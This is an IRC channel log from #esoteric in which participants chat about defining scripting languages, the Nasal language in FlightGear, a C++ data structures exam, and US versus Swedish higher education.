:Deewiant!unknown@unknown.invalid QUIT :Remote host closed the connection < 1269451664 0 :BeholdMyGlory!~behold@unaffiliated/beholdmyglory JOIN :#esoteric < 1269452081 0 :lereah_!unknown@unknown.invalid QUIT :Remote host closed the connection < 1269452994 0 :MizardX-!~MizardX@unaffiliated/mizardx JOIN :#esoteric < 1269453132 0 :MizardX!unknown@unknown.invalid QUIT :Ping timeout: 276 seconds < 1269453143 0 :MizardX-!unknown@unknown.invalid NICK :MizardX < 1269453154 0 :augur!unknown@unknown.invalid QUIT :Ping timeout: 240 seconds < 1269453329 0 :Deewiant!~deewiant@kekkonen.cs.hut.fi JOIN :#esoteric < 1269454736 0 :tombom!tombom@wikipedia/Tombomp JOIN :#esoteric < 1269455032 0 :augur!~augur@129-2-175-79.wireless.umd.edu JOIN :#esoteric < 1269455517 0 :uorygl!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1269455537 0 :uorygl!~Warrigal@rrcs-70-63-156-144.midsouth.biz.rr.com JOIN :#esoteric < 1269455614 0 :augur!unknown@unknown.invalid QUIT :Ping timeout: 240 seconds < 1269455716 0 :augur!~augur@129-2-175-79.wireless.umd.edu JOIN :#esoteric < 1269455900 0 :charlesq__!~charlls@201.226.222.130 JOIN :#esoteric < 1269455908 0 :charlesq__!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1269455952 0 :charlls!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1269456519 0 :ais523!unknown@unknown.invalid QUIT :Remote host closed the connection < 1269457209 0 :kar8nga!~kar8nga@jol13-1-82-66-176-74.fbx.proxad.net JOIN :#esoteric < 1269458008 0 :augur!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1269458036 0 :augur!~augur@129-2-175-79.wireless.umd.edu JOIN :#esoteric < 1269458467 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no JOIN :#esoteric < 1269458503 0 :oerjan!unknown@unknown.invalid QUIT :Client Quit < 1269460425 0 :hiato!~fdulu@41.132.216.79 JOIN :#esoteric < 1269460486 0 :sebbu!~sebbu@ADijon-152-1-49-137.w83-194.abo.wanadoo.fr JOIN :#esoteric < 1269460557 0 :sebbu2!unknown@unknown.invalid QUIT :Ping timeout: 276 seconds < 1269461251 0 :jcp!~jw@bzflag/contributor/javawizard2539 JOIN :#esoteric < 1269461830 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :http://i.imgur.com/iQQPg.png < 1269462065 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :out of interest, who wrote http://esoteric.voxelperfect.net/wiki/Computational_class ? < 1269462187 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, found any bugs in cfunge or efunge yet? < 1269462299 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Haven't done anything that'd have any chance of finding them since the bounds stuff < 1269462640 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :complexity theory is closer to computability theory than algorithm analysis < 1269462697 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :or maybe a true computabilitist considers everything that cares about the amount of steps in computation the same sort of performance bullshit < 1269462715 0 :Geekthras!unknown@unknown.invalid PRIVMSG #esoteric :19:56 * Sgeo also wonders if there are web frameworks for J <-- I just found out that yes, yes there are < 1269462729 0 :Geekthras!unknown@unknown.invalid PRIVMSG #esoteric :the cs department at trinity used it for their site < 1269462738 0 :Geekthras!unknown@unknown.invalid PRIVMSG #esoteric :I have no idea why < 1269463129 0 :pikhq!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1269463718 0 :kar8nga!unknown@unknown.invalid QUIT :Remote host closed the connection < 1269463960 0 :Oranjer!~HP_Admini@adsl-71-7-92.cae.bellsouth.net JOIN :#esoteric < 1269464120 0 :mibygl!~cc55c4a0@gateway/web/freenode/x-rcnmpryifnksiifs JOIN :#esoteric < 1269464130 0 :pikhq!~pikhq@75-106-100-139.cust.wildblue.net JOIN :#esoteric < 1269464576 0 :augur!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1269465049 0 :hiato!unknown@unknown.invalid QUIT :Quit: underflow < 1269465107 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Maybe surfing the web via browser at a remote computer isn't the best idea < 1269465146 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :But on the other hand, when I have to leave, I don't just lose all the pages I'm on < 1269466108 0 :clog!unknown@unknown.invalid JOIN :#esoteric < 1269466108 0 :clog!~nef@bespin.org JOIN :#esoteric < 1269466604 0 :Tritonio_GR!~Tritonio@150.140.224.130 JOIN :#esoteric < 1269466999 0 :augur!~augur@129-2-175-79.wireless.umd.edu JOIN :#esoteric < 1269467184 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Is there any reason to not think of Erlang as a sort of functional scripting language? < 1269467188 0 :Tritonio_GR!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1269467384 0 :Tritonio_GR!~Tritonio@150.140.224.130 JOIN :#esoteric < 1269467484 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :define 'functional scripting language" < 1269467495 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: It's not at all intended for typical "scripting" purposes? < 1269467500 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :define 'define' < 1269467587 0 :Tritonio_GR!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1269467636 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :lament: define '/ < 1269467692 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: i can't, i don't know what define means < 1269467741 0 :Tritonio_GR!~Tritonio@150.140.224.130 JOIN :#esoteric < 1269467852 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo, well for a start erlang makes a poor scripting language. Erlang is much better suited to long running programs < 1269467855 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :servers and such < 1269467897 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :for example the runtime takes almost a second to exit, and about 1/3 of a second or so to start up < 1269467932 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(this hasn't been considered a problem since long running applications is what it really is intended for) < 1269467944 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :thus no one bothered to fix it < 1269468037 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and well there are lots of process supervision stuff built in. Oh and hot code reloading. Oh and support for distributed nodes and what not. Not features of your typical "scripting" language. < 1269468089 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I think I made an assumption because it seemed functional, without static types < 1269468126 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :why would dynamic typing imply scripting language? < 1269468156 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :What the hell is a scripting language, anyways? < 1269468180 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :actionscript, javascript < 1269468183 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :scriptscript < 1269468193 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, maybe one where you don't compile the code at all? Not even to bytecode. Well the interpreter could possibly do it, but the developer doesn't have to do so manually < 1269468206 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :that would place stuff like python and perl into that category < 1269468220 0 :mibygl!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1269468236 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :but python is compiled into .exe's, huh... < 1269468250 0 :Tritonio_GR!unknown@unknown.invalid PRIVMSG #esoteric :python compiled into exe? < 1269468269 0 :Tritonio_GR!unknown@unknown.invalid PRIVMSG #esoteric :i think it's more like the python lib combined with some bytecode < 1269468277 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I'd imagine that py2exe or whatever includes the interpreter + the code < 1269468284 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Otherwise, eval() wouldn't work < 1269468286 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Python is compiled into bytecode as a rule. < 1269468315 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, yes but see what I said < 1269468322 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, which was "but the developer doesn't have to do so manually" < 1269468327 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :The bytecode is stored on disk and executed... < 1269468340 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, sure, but python compiles it automatically for you < 1269468345 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :as in you run python foo.py < 1269468347 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Not the bytecode for the top-level module < 1269468354 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and afterwards you might end up with foo.pyc or whatever < 1269468362 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Okay then. By that notion, C can be a scripting language. < 1269468367 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo, ah that explains why it didn't do it consistently for me < 1269468378 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, not at all, because there you need to manually invoke gcc or whatever first < 1269468383 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :before you can run your program < 1269468385 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Not necessarily. < 1269468391 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :There exist C interpreters. < 1269468395 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, oh? < 1269468399 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :such as? < 1269468401 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :The Tiny C Compiler, for instance. < 1269468406 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah right < 1269468423 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :anyway this is really implementation rather than language specific < 1269468433 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :you could make a python version where you had to compile the files first < 1269468450 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Defining "scripting language" in terms of implementation details suggests that "scripting language" is a freaking meaningless term. < 1269468458 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, indeed < 1269468469 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Which of course it is. < 1269468472 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1269468493 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :what about "language primarily embedded into another program, used to control it" < 1269468506 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :that would make javascript for example a scripting language < 1269468512 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :same for lua in many cases < 1269468514 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Though, if I were to define it, I would define it as "a language primarily for the automation of the execution of other programs, or a language embedded into a program to control it." < 1269468524 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :though I have used embedded python < 1269468536 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Which would leave shell script and embedded languages being called scripting languages. < 1269468545 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Wasn't there some browser that was supposed to run "Python applets" or some such < 1269468551 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Almost typoed and said "apples" < 1269468552 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, but not python < 1269468559 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well < 1269468568 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I have used python in that way as I said < 1269468571 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Except when embedded into a language. < 1269468573 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it just isn't very common < 1269468581 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Yeah. < 1269468589 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, actually embedded into an mmorpg server in that case < 1269468595 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :" AnMaster: Except when embedded into a language." was a typo I assume? < 1269468634 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I wonder where this would place nasal < 1269468645 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION wonders if anyone here even heard of that
< 1269468649 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Thinko. < 1269468706 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Maybe I'll be able to focus on homework once I get home < 1269468712 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well nasal is probably a scripting language. But perhaps we should say insufficient data instead. Considering I ever heard of ONE project using it < 1269468720 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it's quite neat though < 1269468744 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Linky? < 1269468755 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and the implementation is rather fast, it has to be when you are doing "real time" scripting < 1269468759 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo, hm *looks* < 1269468779 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :http://www.plausible.org/nasal/ < 1269468788 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :used for flightgear. Never seen it used elsewhere < 1269468815 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :kind of multi-paradigm. Supports prototype style objects iirc < 1269468827 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and some functional-ish stuff < 1269468829 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :flightgear, as in a project, or as in real airplane control software/ < 1269468842 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo, flightgear is an open source flightsim < 1269468846 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Ah < 1269468879 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo, notice "flight sim". That means if you just want to fly around and shoot it isn't for you. I don't think guns are implemented at all really. < 1269468889 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it is wonderful for actual flightsim though :P < 1269468908 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION 's played with MS Flight Simulator before
< 1269468950 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :btw: http://www.flightgear.org/ < 1269468979 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I think the graphics improved recently. So much my computer is having problems with it < 1269469129 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Except for foreach/forindex, seems like an elegant language so far < 1269469136 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Not done reading the tutorial source, though < 1269469178 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo, the docs aren't really all that good. I mostly learnt it from working on old code in flightgear. < 1269469226 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo, what is wrong with foreach/forindex btw? < 1269469254 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Why not use a function that, say, returns the indexes of a vector, instead of a separate syntactical forindex/ < 1269469274 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo, don't know. Never saw it as a problem though < 1269469301 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION has a Data Structures exam (in C++) in 40min
< 1269469340 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Yes, ANGEL, I know I'm using an unsupported browser! You don't have to tell me twice! < 1269469341 0 :Tritonio_GR!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1269469353 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ANGEL? < 1269469362 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :anyway shouldn't be too hard? < 1269469365 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :wait < 1269469366 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :C++ < 1269469372 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :poor you < 1269469378 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Yes < 1269469388 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :anyway what is ANGEL < 1269469401 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo, also what level is that course at? University? < 1269469432 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Other classmate, upon seeing something: "Wait, how does that make sense" Me: "It's C++. C++ sometimes doesn't make sense" [note: that's the general gist of conversation sometimes. No literal quotes are implied < 1269469451 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :It's a 3xx level course at perhaps not the best college < 1269469459 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :It's not a community college though < 1269469473 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :what on earth is a "community college"? < 1269469500 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and I thought a college was a sub-unit of a university? < 1269469518 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: US terminology confuses many outside of the US. < 1269469544 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well yes. < 1269469563 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :anyway any school system in another country is bound to confuse < 1269469571 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :because they are basically different in every country < 1269469581 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :A community college is a community-funded institute of higher education that offers two-year degrees, as well as individual classes for a lower cost than at most 4-year schools. < 1269469648 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :err < 1269469652 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :"community-funded"? < 1269469656 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :you mean the state owns it? < 1269469667 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :err make that federal or something < 1269469672 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :you and your strange system < 1269469690 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I think all but three universities in Sweden are state owned btw. < 1269469696 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Read that somewhere recently < 1269469726 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :No, it's funded out of city taxes. < 1269469745 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :huh < 1269469745 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :And cost not-much. < 1269469754 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :so low quality? < 1269469770 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Yeah. Note the "2-year degrees" bit. < 1269469778 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :next you are going to say students have to pay to study at universities normally < 1269469779 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :-_- < 1269469785 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :We do. < 1269469786 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :or something equally stupid < 1269469788 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :wtf < 1269469805 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :$20,000 yearly bills are not uncommon. < 1269469828 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Um, I think my dad generally pays around $2000/$3000 a semester < 1269469835 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :wth < 1269469846 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :semester? < 1269469852 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :as in, holidays? < 1269469864 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :As in, look it up < 1269469875 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well < 1269469877 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :semester ~= half a year. September-December, January-summer < 1269469879 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :sv:semester = en:holiday < 1269469884 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :so I guess that confused me < 1269469898 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well, usually about very long holidays < 1269469902 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :such as summer break < 1269469917 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :not as in xmas break or such < 1269469932 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Semesters are the time between semesters < 1269469937 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hah < 1269469975 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :[Note: Apparently the above is not true. Semesters are divided by xmas break and a bit] < 1269469988 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :[So don't take my joke too too seriously] < 1269470163 0 :kar8nga!~kar8nga@jol13-1-82-66-176-74.fbx.proxad.net JOIN :#esoteric < 1269472359 0 :tombom_!tombom@wikipedia/Tombomp JOIN :#esoteric < 1269472434 0 :tombom__!tombom@82.18.194.24 JOIN :#esoteric < 1269472590 0 :tombom!unknown@unknown.invalid QUIT :Ping timeout: 268 seconds < 1269472592 0 :kar8nga!unknown@unknown.invalid QUIT :Remote host closed the connection < 1269472613 0 :kar8nga!~kar8nga@jol13-1-82-66-176-74.fbx.proxad.net JOIN :#esoteric < 1269472629 0 :tombom_!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1269473352 0 :tombom__!unknown@unknown.invalid QUIT :Quit: Leaving < 1269474494 0 :BeholdMyGlory!unknown@unknown.invalid QUIT :Remote host closed the connection < 1269475981 0 :kar8nga!unknown@unknown.invalid QUIT :Remote host closed the connection < 1269476056 0 :pikhq!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1269476188 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Didn't get a perfect grade on my exam. < 1269476197 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Now arguing that her answers are incorrect < 1269476201 0 :pikhq!~pikhq@75-106-100-139.cust.wildblue.net JOIN :#esoteric < 1269476223 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :damn straight < 1269476228 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :fight the....fight < 1269476267 0 :FireFly!unknown@unknown.invalid QUIT :Quit: Leaving < 1269476973 0 :coppro!~coppro@unaffiliated/coppro JOIN :#esoteric < 1269477061 0 :Sgeo!unknown@unknown.invalid QUIT :Ping timeout: 264 seconds < 1269478854 0 :augur!unknown@unknown.invalid QUIT :Ping timeout: 240 seconds < 1269480476 0 :augur!~augur@c-68-54-80-152.hsd1.md.comcast.net JOIN :#esoteric < 1269480545 0 :myndzi\!myndzi@tengototen.net JOIN :#esoteric < 1269480601 0 :Gregor!unknown@unknown.invalid QUIT :*.net *.split < 1269480601 0 :olsner!unknown@unknown.invalid QUIT :*.net *.split < 1269480602 0 :jcp!unknown@unknown.invalid QUIT :*.net *.split < 1269480603 0 :pikhq!unknown@unknown.invalid QUIT :*.net *.split < 1269480603 0 :uorygl!unknown@unknown.invalid QUIT :*.net *.split < 1269480603 0 :cheater2!unknown@unknown.invalid QUIT :*.net *.split < 1269480604 0 :ineiros!unknown@unknown.invalid QUIT :*.net *.split < 1269480604 0 :lament!unknown@unknown.invalid QUIT :*.net *.split < 1269480605 0 :sshc!unknown@unknown.invalid QUIT :*.net *.split < 1269480607 0 :pineapple!unknown@unknown.invalid QUIT :*.net *.split < 1269480607 0 :rodgort!unknown@unknown.invalid QUIT :*.net *.split < 1269480607 0 :chickenzilla!unknown@unknown.invalid QUIT :*.net *.split < 1269480608 0 :myndzi!unknown@unknown.invalid QUIT :*.net *.split < 1269480608 0 :jix_!unknown@unknown.invalid QUIT :*.net *.split < 1269480608 0 :cal153!unknown@unknown.invalid QUIT :*.net *.split < 1269480608 0 :SimonRC!unknown@unknown.invalid QUIT :*.net *.split < 1269480609 0 :mtve!unknown@unknown.invalid QUIT :*.net *.split < 1269480769 0 :SimonRC!~sc@fof.durge.org JOIN :#esoteric < 1269480769 0 :jcp!~jw@bzflag/contributor/javawizard2539 JOIN :#esoteric < 1269480769 0 :Gregor!~gregor@65.183.185.22 JOIN :#esoteric < 1269480769 0 :olsner!~salparot@c83-252-161-133.bredband.comhem.se JOIN :#esoteric < 1269480769 0 :chickenzilla!~chicken@olol.eu JOIN :#esoteric < 1269480769 0 :rodgort!~rodgort@li14-39.members.linode.com JOIN :#esoteric < 1269480769 0 :pineapple!~pineapple@cpc3-aztw11-0-0-cust24.aztw.cable.virginmedia.com JOIN :#esoteric < 1269480790 0 :sshc!~sshc@unaffiliated/sshc JOIN :#esoteric < 1269480797 0 :pikhq!~pikhq@75-106-100-139.cust.wildblue.net JOIN :#esoteric < 1269480797 0 :uorygl!~Warrigal@rrcs-70-63-156-144.midsouth.biz.rr.com JOIN :#esoteric < 1269480797 0 :cheater2!~cheater@ip-80-226-192-10.vodafone-net.de JOIN :#esoteric < 1269480797 0 :lament!~lament@S0106001b63f462cc.vc.shawcable.net JOIN :#esoteric < 1269480797 0 :ineiros!~itniemin@james.ics.hut.fi JOIN :#esoteric < 1269480799 0 :jix!~jix@cyb0rg.org JOIN :#esoteric < 1269480821 0 :augur!unknown@unknown.invalid NICK :Guest8510 < 1269480924 0 :cal153!~cal@c-69-181-46-213.hsd1.ca.comcast.net JOIN :#esoteric < 1269480973 0 :Gracenotes!~person@wikipedia/Gracenotes JOIN :#esoteric < 1269481525 0 :HackEgo!~HackEgo@codu.xen.prgmr.com JOIN :#esoteric < 1269481526 0 :EgoBot!~EgoBot@codu.xen.prgmr.com JOIN :#esoteric < 1269482719 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION looks for an excuse to reference http://media.fukung.net/images/6793/chowneduck.jpg on Wikipedia (NSFW)
< 1269482763 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :should i click? < 1269482774 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :YES < 1269482782 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :... < 1269482832 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :what! < 1269482924 0 :Sgeo!~Sgeo@ool-18bf618a.dyn.optonline.net JOIN :#esoteric < 1269483212 0 :Tritonio_GR!~Tritonio@150.140.224.130 JOIN :#esoteric < 1269483909 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION eats pineapple
< 1269483968 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :yay < 1269484137 0 :Guest8510!unknown@unknown.invalid NICK :augur < 1269484145 0 :coppro!unknown@unknown.invalid QUIT :Quit: reboot < 1269484358 0 :coppro!~coppro@unaffiliated/coppro JOIN :#esoteric < 1269484747 0 :Asztal!unknown@unknown.invalid QUIT :Ping timeout: 260 seconds < 1269485643 0 :pikhq!unknown@unknown.invalid QUIT :Quit: leaving < 1269485754 0 :pikhq!~pikhq@75-106-100-139.cust.wildblue.net JOIN :#esoteric < 1269485907 0 :pikhq!unknown@unknown.invalid QUIT :Client Quit < 1269486311 0 :sshc!unknown@unknown.invalid QUIT :Ping timeout: 246 seconds < 1269486311 0 :SimonRC!unknown@unknown.invalid QUIT :Ping timeout: 246 seconds < 1269486318 0 :uorygl!unknown@unknown.invalid QUIT :*.net *.split < 1269486318 0 :cheater2!unknown@unknown.invalid QUIT :*.net *.split < 1269486318 0 :ineiros!unknown@unknown.invalid QUIT :*.net *.split < 1269486318 0 :lament!unknown@unknown.invalid QUIT :*.net *.split < 1269486350 0 :sshc!~sshc@unaffiliated/sshc JOIN :#esoteric < 1269486379 0 :SimonRC!~sc@fof.durge.org JOIN :#esoteric < 1269486416 0 :uorygl!~Warrigal@rrcs-70-63-156-144.midsouth.biz.rr.com JOIN :#esoteric < 1269486416 0 :cheater2!~cheater@ip-80-226-192-10.vodafone-net.de JOIN :#esoteric < 1269486416 0 :lament!~lament@S0106001b63f462cc.vc.shawcable.net JOIN :#esoteric < 1269486416 0 :ineiros!~itniemin@james.ics.hut.fi JOIN :#esoteric < 1269486531 0 :adu!~ajr@pool-74-96-89-29.washdc.fios.verizon.net JOIN :#esoteric < 1269487172 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no JOIN :#esoteric < 1269487425 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION tried to argue that the Data Structures class should use Python
< 1269487445 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :maybe http://en.wikipedia.org/wiki/Not_safe_for_work? < 1269487470 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :WadImiss? < 1269487491 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i'm asleep, can't answer < 1269487788 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: that sounds horrible < 1269487825 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :howso? < 1269487846 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :because, data structures are a low-level concept; they should be implemented in a low-level language < 1269487930 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Well, are there low-level languages that are less syntactically insane than C++? < 1269487948 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :C < 1269488002 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION thinks we use Modula-2, way back :)
